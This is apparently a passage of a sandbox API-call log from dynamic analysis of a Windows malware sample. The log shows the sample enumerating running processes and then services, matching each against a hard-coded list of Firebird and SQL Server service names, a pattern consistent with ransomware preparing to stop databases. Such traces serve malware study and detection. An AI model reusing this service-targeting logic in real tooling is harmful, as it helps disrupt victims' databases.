th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.092] lstrlenW (lpString="csrss.exe") returned 9 [0166.093] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.093] lstrlenW (lpString="wininit.exe") returned 11 [0166.093] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.094] lstrlenW (lpString="csrss.exe") returned 9 [0166.094] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.094] lstrlenW (lpString="winlogon.exe") returned 12 [0166.094] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.095] lstrlenW (lpString="services.exe") returned 12 [0166.095] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.095] lstrlenW (lpString="lsass.exe") returned 9 [0166.095] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.096] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.096] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.096] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.096] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.096] lstrlenW (lpString="svchost.exe") returned 11 [0166.097] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.097] lstrlenW (lpString="svchost.exe") returned 11 [0166.097] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.097] lstrlenW (lpString="dwm.exe") returned 7 [0166.097] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.098] lstrlenW (lpString="svchost.exe") returned 11 [0166.098] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.098] lstrlenW (lpString="svchost.exe") returned 11 [0166.098] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.099] lstrlenW (lpString="svchost.exe") returned 11 [0166.099] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.099] lstrlenW (lpString="svchost.exe") returned 11 [0166.099] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.100] lstrlenW (lpString="svchost.exe") returned 11 [0166.100] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.100] lstrlenW (lpString="svchost.exe") returned 11 [0166.100] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.101] lstrlenW (lpString="svchost.exe") returned 11 [0166.101] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.101] lstrlenW (lpString="svchost.exe") returned 11 [0166.101] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.101] lstrlenW (lpString="svchost.exe") returned 11 [0166.101] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.102] lstrlenW (lpString="svchost.exe") returned 11 [0166.102] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.102] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.102] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.103] lstrlenW (lpString="svchost.exe") returned 11 [0166.103] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.103] lstrlenW (lpString="audiodg.exe") returned 11 [0166.103] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0166.104] lstrlenW (lpString="sihost.exe") returned 10 [0166.104] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.105] lstrlenW (lpString="svchost.exe") returned 11 [0166.105] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.105] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.105] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0166.106] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0166.106] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0166.106] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0166.106] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0166.107] lstrlenW (lpString="Memory Compression") returned 18 [0166.107] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.107] lstrlenW (lpString="explorer.exe") returned 12 [0166.107] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0166.108] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0166.108] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0166.108] lstrlenW (lpString="SearchUI.exe") returned 12 [0166.108] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0166.109] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0166.109] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.109] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.109] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0166.110] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0166.110] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0166.110] lstrlenW (lpString="cmd.exe") returned 7 [0166.110] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.111] lstrlenW (lpString="conhost.exe") returned 11 [0166.111] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0166.111] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0166.111] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0166.112] lstrlenW (lpString="mode.com") returned 8 [0166.112] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0166.112] CloseHandle (hObject=0x4dc) returned 1 [0166.112] Sleep (dwMilliseconds=0x1f4) [0166.788] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408db50 [0166.789] EnumServicesStatusExW (in: hSCManager=0x408db50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0166.789] GetLastError () returned 0xea [0166.789] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x40a39f0 [0166.789] EnumServicesStatusExW (in: hSCManager=0x408db50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40a39f0, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40a39f0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0166.790] CloseServiceHandle (hSCObject=0x408db50) returned 1 [0166.790] lstrlenW (lpString="AppXSvc") returned 7 [0166.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0166.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0166.790] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0166.791] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0166.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0166.791] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.791] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.791] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.791] lstrlenW (lpString="Audiosrv") returned 8 [0166.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0166.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0166.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0166.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0166.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0166.791] lstrlenW (lpString="BFE") returned 3 [0166.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.791] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0166.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0166.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0166.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0166.791] lstrlenW (lpString="CDPSvc") returned 6 [0166.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0166.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0166.791] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0166.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0166.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0166.792] lstrlenW (lpString="ClickToRunSvc") returned 13 [0166.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.792] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0166.792] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0166.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0166.792] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0166.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0166.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0166.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0166.792] lstrlenW (lpString="CryptSvc") returned 8 [0166.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.792] lstrlenW (lpString="DcomLaunch") returned 10 [0166.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.792] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.793] lstrlenW (lpString="DeviceAssociationService") returned 24 [0166.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0166.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0166.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0166.793] lstrlenW (lpString="Dhcp") returned 4 [0166.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.793] lstrlenW (lpString="Dnscache") returned 8 [0166.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.793] lstrlenW (lpString="DPS") returned 3 [0166.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.793] lstrlenW (lpString="DusmSvc") returned 7 [0166.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0166.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0166.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0166.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0166.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0166.794] lstrlenW (lpString="EventLog") returned 8 [0166.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0166.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0166.794] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0166.794] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0166.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0166.794] lstrlenW (lpString="EventSystem") returned 11 [0166.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.794] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.794] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.794] lstrlenW (lpString="FontCache") returned 9 [0166.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0166.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0166.794] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0166.794] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0166.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0166.794] lstrlenW (lpString="gpsvc") returned 5 [0166.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.794] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.794] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.794] lstrlenW (lpString="iphlpsvc") returned 8 [0166.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.795] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.795] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.795] lstrlenW (lpString="KeyIso") returned 6 [0166.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0166.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0166.795] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0166.795] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0166.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0166.795] 